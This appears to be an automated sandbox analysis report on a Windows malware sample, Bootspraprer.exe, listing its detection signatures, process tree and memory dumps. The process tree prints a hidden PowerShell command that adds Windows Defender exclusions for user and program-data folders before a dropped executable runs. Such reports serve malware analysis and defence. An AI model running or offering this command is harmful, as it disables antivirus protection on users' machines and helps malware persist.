Analysis
- max time kernel
34s - max time network
36s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
21/08/2026, 02:27
General
- Target Xeno-Release-V4.1.5a-Updated-X64/Bootspraprer.exe
- Size 334KB
- Sample260821-cxffxs1crd
- SHA256 f306f8e09c08ab4dbd161528a5943ce2a0e154e294a1bb3178104e7baa942ea9
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file 1 IoCs
- Executes dropped EXE 1 IoCs
- UPX packed file 2 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Xeno-Release-V4.1.5a-Updated-X64\Bootspraprer.exe"C:\Users\Admin\AppData\Local\Temp\Xeno-Release-V4.1.5a-Updated-X64\Bootspraprer.exe"1⤵
- Downloads MZ/PE file
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'; Add-MpPreference -ExclusionPath 'C:\ProgramData'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\zdzc'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\zdzc\downloads\Network.exe"C:\Users\Admin\AppData\Local\zdzc\downloads\Network.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
Network.exe
memory/240-69-0x0000000000230000-0x0000000000E7F000-memory.dmp
memory/5632-46-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-44-0x000001D884610000-0x000001D88461A000-memory.dmp
memory/5632-36-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-37-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-38-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-39-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-42-0x000001D89CA50000-0x000001D89CA6E000-memory.dmp
memory/5632-48-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-47-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-45-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-34-0x000001D884590000-0x000001D8845B2000-memory.dmp
memory/5632-30-0x00007FF8C7C6F000-0x00007FF8C7C70000-memory.dmp
memory/5632-43-0x000001D89CA70000-0x000001D89CB22000-memory.dmp
memory/5632-49-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-50-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-51-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-52-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-53-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-54-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-55-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-57-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-35-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp
memory/5632-31-0x00007FF8C7AE0000-0x00007FF8C8484000-memory.dmp